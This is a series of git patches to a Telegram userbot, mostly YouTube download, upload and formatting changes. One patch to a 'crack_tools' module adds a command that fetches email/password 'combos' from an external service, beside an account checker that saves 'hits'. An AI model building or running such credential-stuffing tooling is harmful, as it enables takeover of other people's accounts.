CMD_HELP -from virtualuserbot.Configs import Config -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from telethon.tl.types import DocumentAttributeAudio +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from youtube_dl import YoutubeDL +from youtube_dl.utils import ( + ContentTooShortError, + DownloadError, + ExtractorError, + GeoRestrictedError, + MaxDownloadsReached, + PostProcessingError, + UnavailableVideoError, + XAttrMetadataError, +) +from fridaybot.function import progress, humanbytes, time_formatter +from fridaybot.function.FastTelethon import upload_file +from fridaybot import CMD_HELP +from fridaybot.Configs import Config +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) @@ -30,34 +62,144 @@ async def _(event): if not os.path.isdir("./music/"): os.makedirs("./music/") path = Config.TMP_DOWNLOAD_DIRECTORY + url = mo sedlyf = wget.download(kekme, out=path) - stark = ( - f'youtube-dl --force-ipv4 -q -o "./music/%(title)s.%(ext)s" --extract-audio --audio-format mp3 --audio-quality 128k ' - + mo - ) - os.system(stark) - await asyncio.sleep(4) - km = f"./music/{thum}.mp3" - if os.path.exists(km): - await myself_stark.edit("`Song Downloaded Sucessfully. Let Me Upload it Here.`") - else: - await myself_stark.edit("`SomeThing Went Wrong. Try Again After Sometime..`") + opts = { + "format": "bestaudio", + "addmetadata": True, + "key": "FFmpegMetadata", + "writethumbnail": True, + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "480", + } + ], + "outtmpl": "%(title)s.mp3", + "quiet": True, + "logtostderr": False, + } + try: + with YoutubeDL(opts) as ytdl: + ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + await asyncio.sleep(20) + c_time = time.time() + file_stark = f"{ytdl_data['title']}.mp3" + lol_m = await upload_file( + file_name=file_stark, + client=borg, + file=open(file_stark, 'rb'), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "Uploading Your Song!", file_stark + ) + ), + ) capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" + await event.delete() + await borg.send_file( + event.chat_id, + lol_m, + force_document=False, + allow_cache=False, + caption=capy, + thumb=sedlyf, + attributes=[ + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + title=str(ytdl_data["title"]), + performer=str(ytdl_data["uploader"]), + ) + ], + supports_streaming=True, + ) + for files in (sedlyf, file_stark): + if files and os.path.exists(files): + os.remove(files) + +@friday.on(friday_on_cmd(pattern="utubevid ?(.*)")) +@friday.on(sudo_cmd(pattern="utubevid ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + urlissed = event.pattern_match.group(1) + myself_stark = await edit_or_reply( + event, f"`Getting {urlissed} From Youtube Servers. Please Wait.`" + ) + search = SearchVideos(f"{urlissed}", offset=1, mode="dict", max_results=1) + mi = search.result() + mio = mi["search_result"] + mo = mio[0]["link"] + thum = mio[0]["title"] + fridayz = mio[0]["id"] + thums = mio[0]["channel"] + kekme = f"https://img.youtube.com/vi/{fridayz}/hqdefault.jpg" + await asyncio.sleep(0.6) + if not os.path.isdir("./music/"): + os.makedirs("./music/") + path = Config.TMP_DOWNLOAD_DIRECTORY + url = mo + sedlyf = wget.download(kekme, out=path) + opts = { + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} + ], + "outtmpl": "%(title)s.mp4", + "logtostderr": False, + "quiet": True, + } + try: + with YoutubeDL(opts) as ytdl: + ytdl_data = ytdl.extract_info(url) + except Exception as e: + await event.edit(f"**Failed To Download** \n**Error :** `{str(e)}`") + return + c_time = time.time() + file_stark = f"{ytdl_data['title']}.mp4" + lol_m = await upload_file( + file_name=file_stark, + client=borg, + file=open(file_stark, 'rb'), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "Uploading Your Video!", file_stark + ) + ), + ) + capy = f"**Video Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" + await event.delete() await borg.send_file( event.chat_id, - km, + lol_m, force_document=False, allow_cache=False, caption=capy, thumb=sedlyf, - performer=thums, + attributes=[ + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + ) + ], supports_streaming=True, ) - await myself_stark.edit("`Song Uploaded. By (C) VirtualUserbot`") - for files in (sedlyf, km): + for files in (sedlyf, file_stark): if files and os.path.exists(files): os.remove(files) + CMD_HELP.update( { From cec4d2921e56aa876455fcbd454685904c92ba5a Mon Sep 17 00:00:00 2001 From: inukaasith Date: Mon, 1 Feb 2021 08:39:17 +0000 Subject: [PATCH 798/838] SeD Replacer --- virtualuserbot/modules/ytmusic.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 133322cb..37b7ff03 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -34,11 +34,11 @@ UnavailableVideoError, XAttrMetadataError, ) -from fridaybot.function import progress, humanbytes, time_formatter -from fridaybot.function.FastTelethon import upload_file -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.function import progress, humanbytes, time_formatter +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="ytmusic ?(.*)")) From 92c999b3a7b2e51354ca019acecfa2c7be8c532b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:11:06 +0530 Subject: [PATCH 799/838] Update crack_tools.py --- virtualuserbot/modules/crack_tools.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py index 8327122c..c5fcdd97 100644 --- a/virtualuserbot/modules/crack_tools.py +++ b/virtualuserbot/modules/crack_tools.py @@ -140,6 +140,17 @@ async def vypr(event): ) os.remove("hits.txt") +@friday.on(friday_on_cmd(pattern="combogen")) +async def byekanger(event): + url = "http://devsexpo.me/combogen/" + sed = requests.get(url=url).json() + sedjson = f"""ComBo Generated +Email : {sed['email']} +Password : {sed['pass']} +Combo : {sed['combo']} +""" + await event.edit(sedjson, parse_mode="HTML") + @friday.on(friday_on_cmd(pattern="cvx$")) async def vortex(event): From 8737ef4426d5ac1aefc6cf6e439ea3620251c99f Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 1 Feb 2021 08:41:58 +0000 Subject: [PATCH 800/838] pylint: auto fixes --- virtualuserbot/modules/crack_tools.py | 1 + virtualuserbot/modules/upload_dl.py | 81 ++++++++------- virtualuserbot/modules/ytmusic.py | 139 +++++++++++--------------- 3 files changed, 104 insertions(+), 117 deletions(-) diff --git a/virtualuserbot/modules/crack_tools.py b/virtualuserbot/modules/crack_tools.py index c5fcdd97..cd5bbe42 100644 --- a/virtualuserbot/modules/crack_tools.py +++ b/virtualuserbot/modules/crack_tools.py @@ -140,6 +140,7 @@ async def vypr(event): ) os.remove("hits.txt") + @friday.on(friday_on_cmd(pattern="combogen")) async def byekanger(event): url = "http://devsexpo.me/combogen/" diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index dd30166f..c7adb731 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -1,21 +1,21 @@ # @UniBorg -from urllib.parse import urlparse import asyncio import json import math -import requests import os import subprocess import time from datetime import datetime from urllib.parse import urlparse + +import requests from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo -from virtualuserbot.function.FastTelethon import upload_file + from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from virtualuserbot.events import register +from virtualuserbot.function.FastTelethon import upload_file from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -43,7 +43,6 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): try: await event.edit( "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) - ) except: pass @@ -106,18 +105,18 @@ async def download(target_file): try: c_time = time.time() downloaded_file_name = await target_file.client.download_media( - await target_file.get_reply_message(), - TEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, target_file, c_time, "Downloading This Media...") - ), - ) + await target_file.get_reply_message(), + TEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, target_file, c_time, "Downloading This Media...") + ), + ) except Exception as e: # pylint:disable=C0103,W0703 await friday.edit(str(e)) else: await friday.edit( - "Downloaded to `{}` successfully !!".format(downloaded_file_name) - ) + "Downloaded to `{}` successfully !!".format(downloaded_file_name) + ) @friday.on(friday_on_cmd(pattern=r"uploadir (.*)")) @@ -380,7 +379,8 @@ async def uploadas(uas_event): else: await uas_event.edit("404: File Not Found") -@borg.on(friday_on_cmd(pattern='smartdl')) + +@borg.on(friday_on_cmd(pattern="smartdl")) async def lul(event): if event.fwd_from: return @@ -402,19 +402,22 @@ async def lul(event): now = time.time() diff = now - c_time percentage = downloader.get_progress() * 100 - speed = downloader.get_speed() - elapsed_time = round(diff) * 1000 + downloader.get_speed() + round(diff) * 1000 progress_str = "[{0}{1}]\nProgress: {2}%".format( - ''.join(["▰" for i in range(math.floor(percentage / 5))]), - ''.join(["▱" for i in range(20 - math.floor(percentage / 5))]), - round(percentage, 2)) + "".join(["▰" for i in range(math.floor(percentage / 5))]), + "".join(["▱" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) estimated_total_time = downloader.get_eta(human=True) try: current_message = f"trying to download\n" current_message += f"URL: {url}\n" current_message += f"File Name: {file_name}\n" current_message += f"{progress_str}\n" - current_message += f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + current_message += ( + f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + ) current_message += f"ETA: {estimated_total_time}" if round(diff % 10.00) == 0 and current_message != display_message: await mone.edit(current_message) @@ -425,46 +428,48 @@ async def lul(event): ms = (end - start).seconds if downloader.isSuccessful(): c_time = time.time() - lul = await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + lul = await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) lol_m = await upload_file( file_name=file_name, client=borg, - file=open(downloaded_file_name, 'rb'), + file=open(downloaded_file_name, "rb"), progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( d, t, event, c_time, "Uploading This File.", downloaded_file_name ) ), ) - await borg.send_file(event.chat_id, - lol_m, - caption=file_name, - force_document=False, - allow_cache=False, - ) + await borg.send_file( + event.chat_id, + lol_m, + caption=file_name, + force_document=False, + allow_cache=False, + ) await lul.delete() os.remove(downloaded_file_name) else: await mone.edit("Incorrect URL\n {}".format(input_str)) - + + @friday.on(friday_on_cmd(pattern="zeelink")) async def lol_kangers(event): input_str = event.raw_text.split(" ", maxsplit=1)[1] - if 'zee' in input_str: + if "zee" in input_str: url = "http://devsexpo.me/zee/" - sed = { - 'url': input_str - } + sed = {"url": input_str} lmao = requests.get(url=url, headers=sed).json() else: await event.edit("Only Zee Videos Supported.") return - if lmao['success'] is False: - await event.edit("Task Failed Due To " + str(lmao['error'])) + if lmao["success"] is False: + await event.edit("Task Failed Due To " + str(lmao["error"])) return - await event.edit("Direct Link Fetched \nURL : " + str(lmao['url'])) - - + await event.edit("Direct Link Fetched \nURL : " + str(lmao["url"])) + + CMD_HELP.update( { "download": ".dl or reply to media\ diff --git a/virtualuserbot/modules/ytmusic.py b/virtualuserbot/modules/ytmusic.py index 37b7ff03..b38984ac 100644 --- a/virtualuserbot/modules/ytmusic.py +++ b/virtualuserbot/modules/ytmusic.py @@ -13,31 +13,18 @@ import asyncio import os - -import wget -from youtubesearchpython import SearchVideos -import asyncio -import math -import os import time +import wget from telethon.tl.types import DocumentAttributeAudio from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd from youtube_dl import YoutubeDL -from youtube_dl.utils import ( - ContentTooShortError, - DownloadError, - ExtractorError, - GeoRestrictedError, - MaxDownloadsReached, - PostProcessingError, - UnavailableVideoError, - XAttrMetadataError, -) -from virtualuserbot.function import progress, humanbytes, time_formatter -from virtualuserbot.function.FastTelethon import upload_file +from youtubesearchpython import SearchVideos + from virtualuserbot import CMD_HELP from virtualuserbot.Configs import Config +from virtualuserbot.function import progress +from virtualuserbot.function.FastTelethon import upload_file from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -65,24 +52,24 @@ async def _(event): url = mo sedlyf = wget.download(kekme, out=path) opts = { - "format": "bestaudio", - "addmetadata": True, - "key": "FFmpegMetadata", - "writethumbnail": True, - "prefer_ffmpeg": True, - "geo_bypass": True, - "nocheckcertificate": True, - "postprocessors": [ - { - "key": "FFmpegExtractAudio", - "preferredcodec": "mp3", - "preferredquality": "480", - } - ], - "outtmpl": "%(title)s.mp3", - "quiet": True, - "logtostderr": False, - } + "format": "bestaudio", + "addmetadata": True, + "key": "FFmpegMetadata", + "writethumbnail": True, + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [ + { + "key": "FFmpegExtractAudio", + "preferredcodec": "mp3", + "preferredquality": "480", + } + ], + "outtmpl": "%(title)s.mp3", + "quiet": True, + "logtostderr": False, + } try: with YoutubeDL(opts) as ytdl: ytdl_data = ytdl.extract_info(url) @@ -93,15 +80,13 @@ async def _(event): c_time = time.time() file_stark = f"{ytdl_data['title']}.mp3" lol_m = await upload_file( - file_name=file_stark, - client=borg, - file=open(file_stark, 'rb'), - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress( - d, t, event, c_time, "Uploading Your Song!", file_stark - ) - ), - ) + file_name=file_stark, + client=borg, + file=open(file_stark, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading Your Song!", file_stark) + ), + ) capy = f"**Song Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" await event.delete() await borg.send_file( @@ -112,18 +97,19 @@ async def _(event): caption=capy, thumb=sedlyf, attributes=[ - DocumentAttributeAudio( - duration=int(ytdl_data["duration"]), - title=str(ytdl_data["title"]), - performer=str(ytdl_data["uploader"]), - ) - ], + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + title=str(ytdl_data["title"]), + performer=str(ytdl_data["uploader"]), + ) + ], supports_streaming=True, ) for files in (sedlyf, file_stark): if files and os.path.exists(files): os.remove(files) - + + @friday.on(friday_on_cmd(pattern="utubevid ?(.*)")) @friday.on(sudo_cmd(pattern="utubevid ?(.*)", allow_sudo=True)) async def _(event): @@ -148,19 +134,17 @@ async def _(event): url = mo sedlyf = wget.download(kekme, out=path) opts = { - "format": "best", - "addmetadata": True, - "key": "FFmpegMetadata", - "prefer_ffmpeg": True, - "geo_bypass": True, - "nocheckcertificate": True, - "postprocessors": [ - {"key": "FFmpegVideoConvertor", "preferedformat": "mp4"} - ], - "outtmpl": "%(title)s.mp4", - "logtostderr": False, - "quiet": True, - } + "format": "best", + "addmetadata": True, + "key": "FFmpegMetadata", + "prefer_ffmpeg": True, + "geo_bypass": True, + "nocheckcertificate": True, + "postprocessors": [{"key": "FFmpegVideoConvertor", "preferedformat": "mp4"}], + "outtmpl": "%(title)s.mp4", + "logtostderr": False, + "quiet": True, + } try: with YoutubeDL(opts) as ytdl: ytdl_data = ytdl.extract_info(url) @@ -170,15 +154,13 @@ async def _(event): c_time = time.time() file_stark = f"{ytdl_data['title']}.mp4" lol_m = await upload_file( - file_name=file_stark, - client=borg, - file=open(file_stark, 'rb'), - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress( - d, t, event, c_time, "Uploading Your Video!", file_stark - ) - ), - ) + file_name=file_stark, + client=borg, + file=open(file_stark, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading Your Video!", file_stark) + ), + ) capy = f"**Video Name ➠** `{thum}` \n**Requested For ➠** `{urlissed}` \n**Channel ➠** `{thums}` \n**Link ➠** `{mo}`" await event.delete() await borg.send_file( @@ -189,17 +171,16 @@ async def _(event): caption=capy, thumb=sedlyf, attributes=[ - DocumentAttributeAudio( - duration=int(ytdl_data["duration"]), - ) - ], + DocumentAttributeAudio( + duration=int(ytdl_data["duration"]), + ) + ], supports_streaming=True, ) for files in (sedlyf, file_stark): if files and os.path.exists(files): os.remove(files) - CMD_HELP.update( { From 79fd2e3a13b03131256dbcf6601f5cfeb8b97020 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 1 Feb 2021 14:12:40 +0530 Subject: [PATCH 801/838] Update FastTelethon.py --- virtualuserbot/function/FastTelethon.py | 257 +++++++----------------- 1 file changed, 78 insertions(+), 179 deletions(-) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py index 8b08b529..1b417864 100644 --- a/virtualuserbot/function/FastTelethon.py +++ b/virtualuserbot/function/FastTelethon.py @@ -5,51 +5,28 @@ import asyncio import hashlib import inspect -import logging import math import os +import logging from collections import defaultdict -from typing import ( - AsyncGenerator, - Awaitable, - BinaryIO, - DefaultDict, - List, - Optional, - Tuple, - Union, -) +from typing import (AsyncGenerator, Awaitable, BinaryIO, DefaultDict, List, + Optional, Tuple, Union) from telethon import TelegramClient, helpers, utils from telethon.crypto import AuthKey from telethon.network import MTProtoSender -from telethon.tl.functions.auth import ( - ExportAuthorizationRequest, - ImportAuthorizationRequest, -) -from telethon.tl.functions.upload import ( - GetFileRequest, - SaveBigFilePartRequest, - SaveFilePartRequest, -) -from telethon.tl.types import ( - Document, - InputDocumentFileLocation, - InputFile, - InputFileBig, - InputFileLocation, - InputPeerPhotoFileLocation, - InputPhotoFileLocation, - TypeInputFile, -) - -TypeLocation = Union[ - Document, - InputDocumentFileLocation, - InputPeerPhotoFileLocation, - InputFileLocation, - InputPhotoFileLocation, -] +from telethon.tl.functions.auth import (ExportAuthorizationRequest, + ImportAuthorizationRequest) +from telethon.tl.functions.upload import (GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest) +from telethon.tl.types import (Document, InputDocumentFileLocation, InputFile, + InputFileBig, InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, TypeInputFile) + +TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, + InputFileLocation, InputPhotoFileLocation] logger = logging.getLogger(__name__) @@ -68,15 +45,8 @@ class DownloadSender: remaining: int stride: int - def __init__( - self, - sender: MTProtoSender, - file: TypeLocation, - offset: int, - limit: int, - stride: int, - count: int, - ) -> None: + def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, + stride: int, count: int) -> None: self.sender = sender self.request = GetFileRequest(file, offset=offset, limit=limit) self.stride = stride @@ -102,16 +72,8 @@ class UploadSender: previous: Optional[asyncio.Task] loop: asyncio.AbstractEventLoop - def __init__( - self, - sender: MTProtoSender, - file_id: int, - part_count: int, - big: bool, - index: int, - stride: int, - loop: asyncio.AbstractEventLoop, - ) -> None: + def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, + stride: int, loop: asyncio.AbstractEventLoop) -> None: self.sender = sender self.part_count = part_count if big: @@ -129,10 +91,8 @@ async def next(self, data: bytes) -> None: async def _next(self, data: bytes) -> None: self.request.bytes = data - logger.debug( - f"Sending file part {self.request.file_part}/{self.part_count}" - f" with {len(data)} bytes" - ) + logger.debug(f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes") await self.sender.send(self.request) self.request.file_part += self.stride @@ -154,11 +114,8 @@ def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: self.client = client self.loop = self.client.loop self.dc_id = dc_id or self.client.session.dc_id - self.auth_key = ( - None - if dc_id and self.client.session.dc_id != dc_id - else self.client.session.auth_key - ) + self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key) self.senders = None self.upload_ticker = 0 @@ -167,16 +124,14 @@ async def _cleanup(self) -> None: self.senders = None @staticmethod - def _get_connection_count( - file_size: int, max_count: int = 20, full_size: int = 100 * 1024 * 1024 - ) -> int: + def _get_connection_count(file_size: int, max_count: int = 20, + full_size: int = 100 * 1024 * 1024) -> int: if file_size > full_size: return max_count return math.ceil((file_size / full_size) * max_count) - async def _init_download( - self, connections: int, file: TypeLocation, part_count: int, part_size: int - ) -> None: + async def _init_download(self, connections: int, file: TypeLocation, part_count: int, + part_size: int) -> None: minimum, remainder = divmod(part_count, connections) def get_part_count() -> int: @@ -189,91 +144,52 @@ def get_part_count() -> int: # The first cross-DC sender will export+import the authorization, so we always create it # before creating any other senders. self.senders = [ - await self._create_download_sender( - file, 0, part_size, connections * part_size, get_part_count() - ), + await self._create_download_sender(file, 0, part_size, connections * part_size, + get_part_count()), *await asyncio.gather( - *[ - self._create_download_sender( - file, i, part_size, connections * part_size, get_part_count() - ) - for i in range(1, connections) - ] - ), + *[self._create_download_sender(file, i, part_size, connections * part_size, + get_part_count()) + for i in range(1, connections)]) ] - async def _create_download_sender( - self, - file: TypeLocation, - index: int, - part_size: int, - stride: int, - part_count: int, - ) -> DownloadSender: - return DownloadSender( - await self._create_sender(), - file, - index * part_size, - part_size, - stride, - part_count, - ) - - async def _init_upload( - self, connections: int, file_id: int, part_count: int, big: bool - ) -> None: + async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, + stride: int, + part_count: int) -> DownloadSender: + return DownloadSender(await self._create_sender(), file, index * part_size, part_size, + stride, part_count) + + async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: self.senders = [ await self._create_upload_sender(file_id, part_count, big, 0, connections), *await asyncio.gather( - *[ - self._create_upload_sender(file_id, part_count, big, i, connections) - for i in range(1, connections) - ] - ), + *[self._create_upload_sender(file_id, part_count, big, i, connections) + for i in range(1, connections)]) ] - async def _create_upload_sender( - self, file_id: int, part_count: int, big: bool, index: int, stride: int - ) -> UploadSender: - return UploadSender( - await self._create_sender(), - file_id, - part_count, - big, - index, - stride, - loop=self.loop, - ) + async def _create_upload_sender(self, file_id: int, part_count: int, big: bool, index: int, + stride: int) -> UploadSender: + return UploadSender(await self._create_sender(), file_id, part_count, big, index, stride, + loop=self.loop) async def _create_sender(self) -> MTProtoSender: dc = await self.client._get_dc(self.dc_id) sender = MTProtoSender(self.auth_key, loggers=self.client._log) - await sender.connect( - self.client._connection( - dc.ip_address, - dc.port, - dc.id, - loggers=self.client._log, - proxy=self.client._proxy, - ) - ) + await sender.connect(self.client._connection(dc.ip_address, dc.port, dc.id, + loggers=self.client._log, + proxy=self.client._proxy)) if not self.auth_key: logger.debug(f"Exporting auth to DC {self.dc_id}") auth = await self.client(ExportAuthorizationRequest(self.dc_id)) - req = self.client._init_with( - ImportAuthorizationRequest(id=auth.id, bytes=auth.bytes) - ) + req = self.client._init_with(ImportAuthorizationRequest( + id=auth.id, bytes=auth.bytes + )) await sender.send(req) self.auth_key = sender.auth_key return sender - async def init_upload( - self, - file_id: int, - file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None, - ) -> Tuple[int, int, bool]: + async def init_upload(self, file_id: int, file_size: int, part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> Tuple[int, int, bool]: connection_count = connection_count or self._get_connection_count(file_size) logger.debug(f"init_upload count is {connection_count}") part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 @@ -289,21 +205,15 @@ async def upload(self, part: bytes) -> None: async def finish_upload(self) -> None: await self._cleanup() - async def download( - self, - file: TypeLocation, - file_size: int, - part_size_kb: Optional[float] = None, - connection_count: Optional[int] = None, - ) -> AsyncGenerator[bytes, None]: + async def download(self, file: TypeLocation, file_size: int, + part_size_kb: Optional[float] = None, + connection_count: Optional[int] = None) -> AsyncGenerator[bytes, None]: connection_count = connection_count or self._get_connection_count(file_size) part_size = (part_size_kb or utils.get_appropriated_part_size(file_size)) * 1024 part_count = math.ceil(file_size / part_size) - logger.debug( - "Starting parallel download: " - f"{connection_count} {part_size} {part_count} {file!s}" - ) + logger.debug("Starting parallel download: " + f"{connection_count} {part_size} {part_count} {file!s}") await self._init_download(connection_count, file, part_count, part_size) part = 0 @@ -323,17 +233,14 @@ async def download( await self._cleanup() -parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict( - lambda: asyncio.Lock() -) +parallel_transfer_locks: DefaultDict[int, asyncio.Lock] = defaultdict(lambda: asyncio.Lock()) -async def _internal_transfer_to_telegram( - client: TelegramClient, - response: BinaryIO, - progress_callback: callable, - file_name: str, -) -> Tuple[TypeInputFile, int]: +async def _internal_transfer_to_telegram(client: TelegramClient, + response: BinaryIO, + progress_callback: callable, + file_name: str + ) -> Tuple[TypeInputFile, int]: file_id = helpers.generate_random_long() file_size = os.path.getsize(response.name) @@ -366,18 +273,14 @@ async def _internal_transfer_to_telegram( if is_large: return InputFileBig(file_id, part_count, file_name), file_size else: - return ( - InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), - file_size, - ) - - -async def download_file( - client: TelegramClient, - location: TypeLocation, - out: BinaryIO, - progress_callback: callable = None, -) -> BinaryIO: + return InputFile(file_id, part_count, file_name, hash_md5.hexdigest()), file_size + + +async def download_file(client: TelegramClient, + location: TypeLocation, + out: BinaryIO, + progress_callback: callable = None + ) -> BinaryIO: size = location.size dc_id, location = utils.get_input_location(location) # We lock the transfers because telegram has connection count limits @@ -393,13 +296,9 @@ async def download_file( return out -async def upload_file( - client: TelegramClient, - file: BinaryIO, - file_name: str, - progress_callback: callable = None, -) -> TypeInputFile: - res = ( - await _internal_transfer_to_telegram(client, file, progress_callback, file_name) - )[0] +async def upload_file(client: TelegramClient, + file: BinaryIO, + file_name: str, + progress_callback: callable = None) -> TypeInputFile: + res = (await _internal_transfer_to_telegram(client, file, progress_callback, file_name))[0] return res From af24d1dee04d395ed96c150c54ed37439344571e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 1 Feb 2021 08:43:30 +0000 Subject: [PATCH 802/838] pylint: auto fixes --- virtualuserbot/function/FastTelethon.py | 257 +++++++++++++++++------- 1 file changed, 179 insertions(+), 78 deletions(-) diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py index 1b417864..8b08b529 100644 --- a/virtualuserbot/function/FastTelethon.py +++ b/virtualuserbot/function/FastTelethon.py @@ -5,28 +5,51 @@ import asyncio import hashlib import inspect +import logging import math import os -import logging from collections import defaultdict -from typing import (AsyncGenerator, Awaitable, BinaryIO, DefaultDict, List, - Optional, Tuple, Union) +from typing import ( + AsyncGenerator, + Awaitable, + BinaryIO, + DefaultDict, + List, + Optional, + Tuple, + Union, +) from telethon import TelegramClient, helpers, utils from telethon.crypto import AuthKey from telethon.network import MTProtoSender -from telethon.tl.functions.auth import (ExportAuthorizationRequest, - ImportAuthorizationRequest) -from telethon.tl.functions.upload import (GetFileRequest, - SaveBigFilePartRequest, - SaveFilePartRequest) -from telethon.tl.types import (Document, InputDocumentFileLocation, InputFile, - InputFileBig, InputFileLocation, - InputPeerPhotoFileLocation, - InputPhotoFileLocation, TypeInputFile) - -TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, - InputFileLocation, InputPhotoFileLocation] +from telethon.tl.functions.auth import ( + ExportAuthorizationRequest, + ImportAuthorizationRequest, +) +from telethon.tl.functions.upload import ( + GetFileRequest, + SaveBigFilePartRequest, + SaveFilePartRequest, +) +from telethon.tl.types import ( + Document, + InputDocumentFileLocation, + InputFile, + InputFileBig, + InputFileLocation, + InputPeerPhotoFileLocation, + InputPhotoFileLocation, + TypeInputFile, +) + +TypeLocation = Union[ + Document, + InputDocumentFileLocation, + InputPeerPhotoFileLocation, + InputFileLocation, + InputPhotoFileLocation, +] logger = logging.getLogger(__name__) @@ -45,8 +68,15 @@ class DownloadSender: remaining: int stride: int - def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, - stride: int, count: int) -> None: + def __init__( + self, + sender: MTProtoSender, + file: TypeLocation, + offset: int, + limit: int, + stride: int, + count: int, + ) -> None: self.sender = sender self.request = GetFileRequest(file, offset=offset, limit=limit) self.stride = stride @@ -72,8 +102,16 @@ class UploadSender: previous: Optional[asyncio.Task] loop: asyncio.AbstractEventLoop - def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, - stride: int, loop: asyncio.AbstractEventLoop) -> None: + def __init__( + self, + sender: MTProtoSender, + file_id: int, + part_count: int, + big: bool, + index: int, + stride: int, + loop: asyncio.AbstractEventLoop, + ) -> None: self.sender = sender self.part_count = part_count if big: @@ -91,8 +129,10 @@ async def next(self, data: bytes) -> None: async def _next(self, data: bytes) -> None: self.request.bytes = data - logger.debug(f"Sending file part {self.request.file_part}/{self.part_count}" - f" with {len(data)} bytes") + logger.debug( + f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes" + 